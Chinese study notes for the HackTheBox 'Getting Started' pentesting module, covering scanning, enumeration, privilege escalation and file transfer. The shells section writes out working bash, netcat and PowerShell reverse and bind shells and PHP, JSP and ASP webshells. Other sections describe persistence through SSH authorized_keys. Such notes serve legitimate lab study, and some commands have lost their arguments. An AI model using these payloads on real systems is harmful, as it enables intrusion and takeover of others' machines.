HTB——Getting start

文章目录

  • 一、learning resource
    • 1、Vulnerable Machines/Applications
    • 2、YouTube Channels
    • 3、Blog
    • 4、Other tools
  • 二、Getting start
    • 1、信息安全包括
    • 2、文件夹结构
    • 3、common term
    • 4、Basic tools
    • 5、server scanning
    • 5、Web Enumeration
    • 6、Public Exploits
    • 7、types of shells
    • 8、Privilege Escalation
    • 9、transferring files
    • 10、Nibbles - Enumeration

一、learning resource

1、Vulnerable Machines/Applications

OWASP Juice Shop

Metasploitable 2

Metasploitable 3

2、YouTube Channels

IppSec

VbScrub

STÖK

LiveOverflow

3、Blog

0xdf hacks stuff

4、Other tools

记笔记:Obsidian
GIF图:Peek

二、Getting start

1、信息安全包括

  • 网络和基础设施安全
  • 应用程序安全性
  • 安全测试
  • 系统审计
  • 业务连续性规划
  • 数字取证
  • 事件检测和响应

2、文件夹结构

  每一个项目都要建立独立的文件夹,文件夹结构如下两种:

HTB——Getting start_第1张图片

HTB——Getting start_第2张图片

3、common term

  1. shell:在linux系统中,shell是一个程序,它通过键盘从用户哪里获取输入,并将这些命令传递给操作系统以执行特定功能。

  2. 常见端口
    HTB——Getting start_第3张图片

4、Basic tools

  1. TCP连接工具:ncpowerncsocat

nc连接基础命令:nc
nc监听特定端口:nc -nvlp

  1. SSH
    SSH是一个运行在22端口上的网络协议,能够让用户远程访问计算机。SSH登录有两种方式:密码认证公钥认证。SSH除了远程登录计算机,还可以进行端口转发和端口代理,以及从远程主机上上传或下载文件。
    SSH连接命令:ssh username@ip

  2. 终端复用器:Tmux
    - 直接在命令行中输入tmux;
    - 开启新窗口:[ctrl+B] C
    - 切换窗口:[ctrl+B] number
    cheatsheet-tmux

5、server scanning

  1. Namp
    nmap :默认只会扫描常见的1000个端口,默认实施TCP扫描
    -sC:指定nmap脚本;
    -sV:服务版本探测;
    -p-:全端口扫描

  2. Banner grabbing
    HTB——Getting start_第4张图片

其实就是用nc去连接开放的端口,该端口会返回其上所运行的服务的指纹。

  1. smbclient
    • smbclient -l -N \\\\:显示指定ip的共享文件夹,并禁止显示密码提示;
    • smbclient -U \\\\\\:用用户名连接共享的文件夹。

5、Web Enumeration

其实就是目录扫描

  1. gobuster的基本使用
    目录扫描:gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt
    http status code

  2. DNS Subdomain Enumeration

    • 安装seclist字典seclist
    • add a DNS Server such as 1.1.1.1 to the /etc/resolv.conf file
    • gobuster dns -d inlanefreight.com -w /usr/share/SecLists/Discovery/DNS/namelist.txt
  3. Web Enumeration Tips

    • Banner Grabbing / Web Server Headers
      检索响应头信息, curl -IL
    • Whatweb
      提取web服务版本,支持的框架、应用,whatweb
    • Certificates
      直接查看证书
    • Robots.txt
      Robots.txt中可能包含一些敏感路径
    • 源代码
      源代码中可能包含没删感觉的测试信息。

6、Public Exploits

在我们用nmap扫描出目标主机的服务、应用信息之后,就要去查找这些服务、应用是否存在已知漏洞。

  1. Finding Public Exploits

    • google
      例如,windows 7 smb exploit.
    • a tool ——searchsploit
    • 在线漏洞数据库
      Exploit DB
      Rapid7 DB
      Vulnerability Lab
  2. Metasploit Primer

7、types of shells

HTB——Getting start_第5张图片

reverse shell

反弹shell的思路:在本机上使用netcat监听某个特定端口,然后在目标主机上运行反弹shell命令连接本机的被netcat监听的端口。具体操作如下:

  • 在本机上监听端口,nc -lvnp
    HTB——Getting start_第6张图片 - 在目标主机上运行反弹shell命令

      - 在linux上使用的,比较稳定的反弹shell payload:
    
        ```bash
        bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1';
        rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f
        ```
    
      - windows powershell 反弹shell payload:
      ```powershell
      powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',1234);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()"
      ```
      [Payload All The Things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)上有很多关于反弹shell的payload
    

blind shell

//其实就是正向连接,本机主动连接目标主机

blind shell的思路:在目标主机上执行blind shell命令,以便将shell绑定到目标主机的某一端口,并且目标主机监听这一端口;之后,在本机上使用netcat主动连接目标主机监听的那一特殊端口。具体步骤如下:

  • 在目标主机上运行blind shell command较稳定的payload如下:

      rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f
    
    python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",1234));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
    
    powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]1234; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();
    
  • 在本机上用netcat连接目标主机,netcat

注意:不管是正向shell还是反向shell,shell命令停止,都需要重新连接!

Upgrading TTY

不管是正向shell还是反向shell,获取的shell都只能输入命令和键,不能移动光标,也不可以使用updown键浏览历史命令。因此,需要update TTY。具体做法如下:

  • netcatshell中,使用如下命令更新shell类型到full TTY:

    python -c 'import pty; pty.spawn("/bin/bash")'
    
  • 使用ctrl+znetcatshell放到后台,且返回一个本地的shell,在本地shell中输入stty命令,就可以得到一个更加稳定的远程shell了。
    HTB——Getting start_第7张图片

  • 改变netcatshell的窗口大小
    HTB——Getting start_第8张图片
    HTB——Getting start_第9张图片

webshell

webshell其实是一个web脚本,这个脚本能够通过HTTP协议接受自定义的命令,并且运行这些命令,且将结果输出到web页面上。

  • 写web shell脚本

     system($_REQUEST["cmd"]); ?>
    
    <% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
    
    <% eval request("cmd") %>
    
  • 上传web shell脚本

    通过文件上传上传webshell;或者通过代码执行,将webshell脚本写到网站根目录下。

    常见的web server的根目录:
    HTB——Getting start_第10张图片

  • 访问web shell

    可以通过浏览器访问webshell位置;也可以用curl工具访问;也可以用webshell连接工具,如蚁剑、哥斯拉。

8、Privilege Escalation

两个关于提权的资料:

hacktricks

payload_all_the_sthings

关于提权,有以下几个思路:

  1. 提权脚本工具

    Privilege Escalation Awesome Scripts SUITE (PEASS)

  2. 内核漏洞利用

  3. 有漏洞的软件利用

  4. 用户权限
    在获得目标主机的访问权限后,我们需要查看是否能够利用其他用户权限。以下是几种利用其他用户权限的方法:

    • sudo
    • suid
    • windows token privileges

    sudo -l:检查当前用户的权限,若发现可以不用密码就执行sudo的用户,直接sudo -u /bin/bash就可以拿到别的用户的shell了!
    linux下使用sudo命令提权的相关资料:gtfobins
    windows下相关提权:LOLBAS

  5. 计划任务
    如果我们对计划任务具有写权限,那么我们就可以写一个反向连接的shell脚本。windows下是计划任务,linux下就是cron job,与cron job有关的目录:

    • /etc/crontab
    • /etc/cron.d
    • /var/spool/cron/crontabs/root
  6. 公开的凭证
    我们还可以查找我们有权读的文件,看其中是否存在公开的凭证,一般是在配置文件、日志文件、历史文件(bash_hisory in linux;PSReadline in windows)。有相关脚本文件。

  7. SSH keys

  • 使用用户私钥登录ssh
    用户ssh私钥文件路径:/home/user/.ssh/id_rsa or /root/.ssh/id_rsa,如果我们能读取私钥文件,将其私钥文件复制到本机上,并且使用ssh -i命令登录ssh,具体命令如下:
    HTB——Getting start_第11张图片

  • 使用授权的ssh私钥登录ssh

    • 在本机上使用ssh-keygen -f key(其中f表示输出的文件名)命令生成公钥(hey.pub)和私钥(key);
    • 将生成的公钥内容写入到目标主机的/root/.ssh/authorized_keys;
    • 使用私钥进行免密登录ssh username@ip -i key;HTB——Getting start_第12张图片

9、transferring files

需求:在渗透测试过程中,我们可能需要传输文件到目标主机,例如enumeration scripts or exploit,或者传输数据回本地主机。尽管msf有相应的上传命令,我们仍然需要学会用反弹shell去传输文件。

  1. Using wget
    思路:本机开http服务,目标主机使用curl或者wget下载本机上的资源。具体步骤如下:
    • 进入需要传输的文件所在的目录,并且用python开启http服务。
      cd <相应dir>
      python3 -m http.server 8000
      
    • 使用curl或者wget下载相应资源
      wget http://<ip>:<port>/file
      curl http://<ip>:<port>/file -o <output filename>
      
  2. using scp

使用scp命令(ssh)将本地文件传输到远程主机:
scp username@ip:/

  1. Using Base64

有时候防火墙不允许目标主机下载文件,此时可以用base64进行编码,具体做法:

base64 <filename> -w 0 //对要传输的文件进行base64编码
echo <base64编码的内容> | base64 -d > <filename> //将编码得到的内容进行解码并写入相应的文件中
  1. Validating File Transfers

使用file命令查看文件格式,file ,如果它是一个ELF binary,则说明其是可以成功传输的。同时,为了确保文件在传输过程中不会改变,可以使用md5sum命令检查MD5 hash。
HTB——Getting start_第13张图片

10、Nibbles - Enumeration

你可能感兴趣的:(HTB,安全)